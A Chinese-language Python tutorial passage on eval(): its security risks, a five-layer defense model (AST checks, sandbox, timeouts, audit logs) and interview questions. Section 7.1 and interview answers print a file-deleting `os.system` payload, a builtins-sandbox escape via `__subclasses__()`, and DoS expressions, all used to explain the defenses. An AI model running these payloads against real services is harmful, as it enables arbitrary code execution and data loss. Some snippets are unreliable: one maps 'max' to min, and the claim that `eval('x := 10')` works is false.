│ └── 用 ast.literal_eval()
├── 需要计算表达式,且输入完全可信(自己代码生成的)?
│ └── 用 eval()(加 globals 限制)
├── 需要计算表达式,输入来自用户/外部?
│ ├── 表达式很简单(四则运算、变量引用)?
│ │ └── 用 simpleeval
│ └── 表达式复杂(需要函数、列表操作)?
│ └── 用 eval() + AST校验 + 沙箱 + 超时
└── 需要执行完整代码块(函数定义、类定义)?
└── 用 exec()(仅限完全可信的内部代码,生产环境慎用)
七、安全风险与最佳实践

这是整篇文章最重要的部分。eval() 的安全问题,不是"可能有风险",而是"只要处理不可信输入就一定有风险"。下面详细讲清楚攻击手段和防御方案。
7.1 常见攻击手段
攻击一:直接调用危险函数
python
# 最直接的攻击
user_input = "__import__('os').system('rm -rf /')"
# eval(user_input) ------ 服务器文件全没了
攻击二:绕过空的 builtins
很多人以为传了 {"__builtins__": {}} 就安全了,其实不然。攻击者可以通过对象的继承链逃逸:
python
# 通过空元组的类继承链找到 object,再找到子类
payload = "().__class__.__bases__[0].__subclasses__()"
# 这个表达式不需要任何内置函数,通过 () 空元组就能访问到 object
# 然后遍历子类找到 os._wrap_close 或其他危险类
# 更完整的攻击链
payload2 = (
"[c for c in ().__class__.__bases__[0].__subclasses__() "
"if c.__name__ == 'catch_warnings'][0]()._module.__builtins__"
"['__import__']('os').system('echo hacked')"
)
这个攻击的原理是:即使禁用了所有内置函数,Python 中一切皆对象,通过字面量(如 ()、[]、{})就能访问到类对象,然后通过 __class__、__bases__、__subclasses__() 等属性一路向上找,最终能找到 os 模块或其他危险功能。
攻击三:拒绝服务(DoS)
即使攻击者不能执行系统命令,也可以让 eval() 陷入死循环或消耗大量资源:
python
# 巨大的递归/计算
dos_payload = "10**10**100" # 计算一个超大数,内存爆炸
# 或者
dos_payload2 = "'a' * 10**100" # 创建超大字符串
7.2 防御方案:五层安全模型
第一层:输入验证(白名单过滤)
在最外层就对输入做校验,只允许预期的字符和模式。
python
import re
def validate_expression(expr: str, max_length: int = 200) -> bool:
"""基础输入校验"""
if len(expr) > max_length:
return False
# 只允许字母、数字、常见运算符和括号
# 注意:这只是最基础的过滤,不能单独依赖
pattern = r'^[\w\s\+\-\*\/\%\(\)\.\,\<\>\=\!\&\|\~]+$'
return bool(re.match(pattern, expr))
第二层:AST 语法树检查
这是最关键的一层。在执行前先解析 AST,禁止危险的节点类型。
python
import ast
# 允许的 AST 节点类型白名单
ALLOWED_NODES = {
ast.Expression, ast.BinOp, ast.UnaryOp, ast.BoolOp,
ast.Compare, ast.IfExp, # 表达式相关
ast.Name, ast.Load, ast.Constant, # 变量和常量
ast.Add, ast.Sub, ast.Mult, ast.Div, ast.FloorDiv,
ast.Mod, ast.Pow, ast.USub, ast.UAdd, # 算术运算
ast.And, ast.Or, ast.Not, # 逻辑运算
ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE,
ast.In, ast.NotIn, ast.Is, ast.IsNot, # 比较运算
ast.List, ast.Tuple, ast.Set, ast.Dict, # 容器
ast.Subscript, ast.Slice, # 下标访问
ast.Call, # 函数调用(需要额外校验函数名)
}
def safe_ast_check(expr: str) -> ast.AST:
"""AST 层面安全检查,返回通过检查的 AST"""
tree = ast.parse(expr, mode="eval")
for node in ast.walk(tree):
# 禁止属性访问(防止 __class__ 逃逸)
if isinstance(node, ast.Attribute):
raise ValueError(f"禁止属性访问: {ast.dump(node)}")
# 函数调用必须校验
if isinstance(node, ast.Call):
if not isinstance(node.func, ast.Name):
raise ValueError("只允许直接调用函数名")
# 这里可以加函数名白名单校验
# 检查节点类型是否在白名单中
if type(node) not in ALLOWED_NODES:
raise ValueError(f"不允许的语法节点: {type(node).__name__}")
return tree
第三层:沙箱隔离环境
执行时严格限制 globals 和 locals。
python
def build_sandbox(allowed_functions: dict = None) -> dict:
"""构建安全的沙箱环境"""
sandbox = {
"__builtins__": {}, # 必须显式置空
}
if allowed_functions:
sandbox.update(allowed_functions)
return sandbox
# 使用示例
sandbox = build_sandbox({
"abs": abs, "min": min, "max": max,
"len": len, "sum": sum, "round": round,
})
result = eval("abs(-5) + max(1, 2, 3)", sandbox, {"x": 10})
第四层:资源限制与超时控制
防止 DoS 攻击,给执行加上超时和资源限制。
python
import signal
import time
class TimeoutError(Exception):
pass
def timeout_handler(signum, frame):
raise TimeoutError("表达式执行超时")
def safe_eval_with_timeout(expr: str, globals_dict: dict,
locals_dict: dict, timeout: float = 1.0):
"""带超时控制的安全 eval(仅 Unix 系统支持 signal)"""
# 设置超时信号
old_handler = signal.signal(signal.SIGALRM, timeout_handler)
# ualarm 支持微秒级精度
signal.setitimer(signal.ITIMER_REAL, timeout)
try:
result = eval(expr, globals_dict, locals_dict)
return result
finally:
# 清除定时器
signal.setitimer(signal.ITIMER_REAL, 0)
signal.signal(signal.SIGALRM, old_handler)
注意:signal 方案只在 Unix 系统的主线程中有效。如果在多线程环境或 Windows 上,需要用多进程隔离来实现超时。
第五层:审计日志与监控
每次执行都记录日志,异常情况触发告警。
python
import logging
import time
audit_logger = logging.getLogger("eval_audit")
def audited_eval(expr: str, globals_dict: dict,
locals_dict: dict, source: str = "unknown"):
"""带审计日志的 eval"""
start = time.time()
try:
result = eval(expr, globals_dict, locals_dict)
duration = (time.time() - start) * 1000
audit_logger.info(
f"eval成功 | source={source} | expr={expr[:100]} "
f"| duration={duration:.1f}ms"
)
return result
except Exception as e:
duration = (time.time() - start) * 1000
audit_logger.warning(
f"eval失败 | source={source} | expr={expr[:100]} "
f"| error={type(e).__name__}: {e} | duration={duration:.1f}ms"
)
raise
7.3 终极建议
- 能不用就不用 :如果有更安全的替代方案(
ast.literal_eval、json.loads、simpleeval),优先用替代方案。 - 永远不要 eval 用户输入:这是铁律。如果输入来自用户、网络、数据库(可能被篡改),就不要直接 eval。
- 必须用就加全套防护:AST 校验 + 沙箱 + 超时 + 审计,四层缺一不可。
- 定期做安全审计 :代码审查时,所有
eval()、exec()的调用点都要重点检查。
八、面试官高频面试题

eval() 是 Python 面试中的高频考点,尤其是中高级岗位。下面整理了最常被问到的 10 道题,附详细答案。
面试题 1:eval 和 exec 的区别是什么?
参考答案:
| 维度 | eval | exec |
|---|---|---|
| 输入 | 单个表达式 | 任意 Python 代码(语句、代码块) |
| 返回值 | 有,返回表达式的值 | 无,永远返回 None |
| 用途 | 计算表达式的值 | 执行动态代码逻辑 |
| mode 参数 | compile(..., "eval") |
compile(..., "exec") |
简单说:eval() 是计算器,exec() 是解释器。
python
# eval 有返回值
print(eval("1 + 2")) # 3
# exec 无返回值
print(exec("1 + 2")) # None
# exec 可以执行语句
exec("x = 10; print(x)") # 10
# eval("x = 10") # SyntaxError
面试题 2:eval 有什么安全风险?如何防范?
参考答案:
eval() 的核心安全风险是代码注入(Code Injection)。如果传入的字符串来自不可信来源,攻击者可以执行任意代码,包括删除文件、访问系统资源、反弹 shell 等。
常见攻击手段:
- 直接调用
__import__('os').system('危险命令') - 通过对象继承链绕过
__builtins__限制(().__class__.__bases__[0].__subclasses__()) - 拒绝服务攻击(超大数计算、死循环)
防范措施:
- 优先使用
ast.literal_eval()或simpleeval等安全替代方案 - 必须使用时,做 AST 层面的语法校验,禁止属性访问和危险节点
- 严格限制 globals,显式设置
__builtins__: {} - 加超时控制,防止 DoS
- 记录审计日志
面试题 3:eval 的 globals 和 locals 参数有什么作用?
参考答案:
globals 和 locals 控制表达式执行时的命名空间,即表达式能看到哪些变量和函数。
globals:全局命名空间,必须是字典。如果提供且不含__builtins__,Python 会自动插入当前内置命名空间的引用。locals:局部命名空间,可以是任意映射对象。变量查找时优先从 locals 中找,找不到再去 globals。
python
# globals 限制可见变量
eval("x + y", {"x": 1, "y": 2}) # 3
# eval("x + z", {"x": 1, "y": 2}) # NameError: z 未定义
# locals 优先级高于 globals
eval("x", {"x": "global"}, {"x": "local"}) # 'local'
# 关键安全细节:必须显式设置 __builtins__
eval("__import__('os')", {"x": 1}) # 成功!因为 Python 自动加了 builtins
eval("__import__('os')", {"__builtins__": {}, "x": 1}) # NameError,被拦截
面试题 4:ast.literal_eval 和 eval 有什么区别?什么时候用 literal_eval?
参考答案:
ast.literal_eval() 是 Python 官方提供的安全替代方案,它只能解析 Python 字面量(字符串、数字、列表、字典、元组、集合、布尔值、None),不能执行任何表达式、函数调用或变量引用。
核心区别:
eval()可以执行任意 Python 表达式,有安全风险ast.literal_eval()只解析字面量,从根本上杜绝代码注入
使用场景:当你只是想把一个"看起来像列表/字典的字符串"转换成真实的数据结构时,永远用 ast.literal_eval()。
python
import ast
# literal_eval 可以
ast.literal_eval("[1, 2, 3]") # [1, 2, 3]
ast.literal_eval("{'a': 1}") # {'a': 1}
# literal_eval 不可以(会报错)
# ast.literal_eval("1 + 2") # ValueError
# ast.literal_eval("__import__('os')") # ValueError
面试题 5:eval 内部是怎么执行的?简述 CPython 的执行流程。
参考答案:
eval() 在 CPython 内部的执行流程和正常 Python 代码完全一样,经过以下阶段:
- 词法分析(Tokenizer):把字符串切成 token 流
- 语法分析(Parser):把 token 流构建成抽象语法树(AST)
- 编译(Compiler):把 AST 编译成字节码(Bytecode)
- 符号表解析:确定变量的作用域
- 虚拟机执行(PVM):逐条执行字节码指令
- 返回结果
可以用 ast.parse() 和 compile() 来观察中间过程:
python
import ast, dis
expr = "x + y * 2"
tree = ast.parse(expr, mode="eval") # 生成 AST
code = compile(tree, "<string>", "eval") # 编译为字节码
dis.dis(code) # 查看字节码指令
面试题 6:如何安全地让用户输入数学表达式并计算?
参考答案:
方案一(推荐):使用第三方库 simpleeval,它自带安全沙箱。
python
from simpleeval import simple_eval
result = simple_eval("x + y * 2", names={"x": 10, "y": 3})
方案二:自己实现安全 eval,需要做到:
- AST 校验:禁止属性访问、import、非白名单函数
- 沙箱隔离:
__builtins__置空,只传入白名单函数 - 超时控制:防止 DoS 攻击
- 输入长度限制
python
import ast
SAFE_FUNCS = {"abs": abs, "min": min, "max": min, "sqrt": __import__("math").sqrt}
def safe_math_eval(expr, variables):
# 1. AST 校验
tree = ast.parse(expr, mode="eval")
for node in ast.walk(tree):
if isinstance(node, ast.Attribute):
raise ValueError("禁止属性访问")
if isinstance(node, ast.Call) and isinstance(node.func, ast.Name):
if node.func.id not in SAFE_FUNCS:
raise ValueError(f"不允许的函数: {node.func.id}")
# 2. 沙箱执行
return eval(compile(tree, "", "eval"),
{"__builtins__": {}, **SAFE_FUNCS}, variables)
面试题 7:eval 能执行赋值语句吗?为什么?
参考答案:
不能直接执行。因为 eval() 的 mode 是 "eval",它只接受单个表达式 (expression),而赋值是语句 (statement),所以 eval("x = 10") 会报 SyntaxError。
但 Python 3.8 引入的海象运算符(walrus operator :=)是表达式,所以可以在 eval 中使用:
python
eval("x := 10") # 10,Python 3.8+ 支持
print(x) # 10
如果需要执行赋值语句,应该用 exec():
python
exec("x = 10")
print(x) # 10
面试题 8:eval 的性能如何?如何优化?
参考答案:
eval() 的性能开销主要在字符串解析和编译阶段。如果同一个表达式只执行一次,性能差异不大;但如果重复执行同一个表达式,每次都重新解析编译会浪费大量时间。
优化方法:先用 compile() 预编译成 code object,然后重复执行:
python
# 低效:每次重新解析
for _ in range(10000):
eval("x * 2 + 1", {"x": 10})
# 高效:预编译一次
code = compile("x * 2 + 1", "<string>", "eval")
for _ in range(10000):
eval(code, {"x": 10})
另外,eval() 的执行速度比原生 Python 代码慢一些,因为涉及额外的命名空间查找。在性能敏感的场景,应该尽量避免使用。
面试题 9:传了 {"builtins": {}} 就安全了吗?为什么?
参考答案:
不安全。即使禁用了所有内置函数,攻击者仍然可以通过 Python 的对象模型逃逸。
原理:Python 中一切皆对象,即使没有内置函数,字面量(如 ()、[])本身就是对象。通过对象的 __class__ 属性可以找到类,通过 __bases__ 可以找到父类,最终找到 object,再通过 object.__subclasses__() 遍历所有子类,从中找到危险的类(如 os._wrap_close),进而执行系统命令。
python
# 攻击链示意(仅用于教学,切勿用于非法用途)
payload = "().__class__.__bases__[0].__subclasses__()"
# 即使 __builtins__ 为空,这个表达式也能执行
防御方法:在 AST 层面禁止 ast.Attribute 节点,从根本上阻止属性访问。
面试题 10:在什么场景下你会选择使用 eval?什么场景下绝对不用?
参考答案:
会使用 eval 的场景:
- 输入完全可信(由程序自己生成,不经过任何外部渠道)
- 需要动态计算表达式,且
ast.literal_eval和simpleeval无法满足需求 - 有完善的安全防护措施(AST 校验 + 沙箱 + 超时 + 审计)
- 内部工具、脚本、数据分析等非生产环境
绝对不用 eval 的场景:
- 处理用户输入、网络请求、API 返回数据
- 处理数据库中存储的、可能被篡改的数据
- 处理配置文件中用户可修改的内容
- 任何安全敏感的生产环境(除非有严格的安全评审)
- 只是想把字符串转成列表/字典(用
ast.literal_eval或json.loads)
一句话总结:eval 是一把锋利的刀,在自己手里切菜很方便,但递给别人就可能伤人。
九、总结
回顾一下这篇文章的核心内容:
-
eval 是什么:Python 内置函数,把字符串表达式解析执行并返回结果。它是动态语言"代码即数据"哲学的体现。
-
为什么用:低成本获得动态执行能力,适用于规则引擎、配置解析、动态公式等场景。
-
怎么演进的:从 Lisp 的 eval 到 Python,核心设计三十年未变;CPython 内部走完整的"词法分析 → 语法分析 → 编译 → 虚拟机执行"流水线。
-
怎么用 :掌握
expression、globals、locals三个参数,理解__builtins__的自动注入机制,重复执行时先compile()预编译。 -
企业实战:风控规则引擎、动态配置解析器、财务公式计算器,三个完整可运行的代码案例,都做了 AST 校验 + 沙箱隔离的安全防护。
-
竞品对比 :
eval(表达式计算)、exec(代码执行)、ast.literal_eval(安全字面量解析)、simpleeval(第三方安全表达式库),根据场景选择。 -
安全第一:五层安全模型(输入验证 → AST 校验 → 沙箱隔离 → 超时控制 → 审计日志),记住铁律"永远不要 eval 不可信输入"。
-
面试考点:10 道高频面试题,从基础语法到安全原理,覆盖面试官关心的所有角度。
最后送你一句话:工具没有好坏,用的人才有。eval 不可怕,可怕的是对它的风险一无所知。 希望这篇文章能让你真正驾驭 eval,而不是被它反噬。
转载声明
本文为原创文章,如需转载,请联系作者获得授权,并注明出处。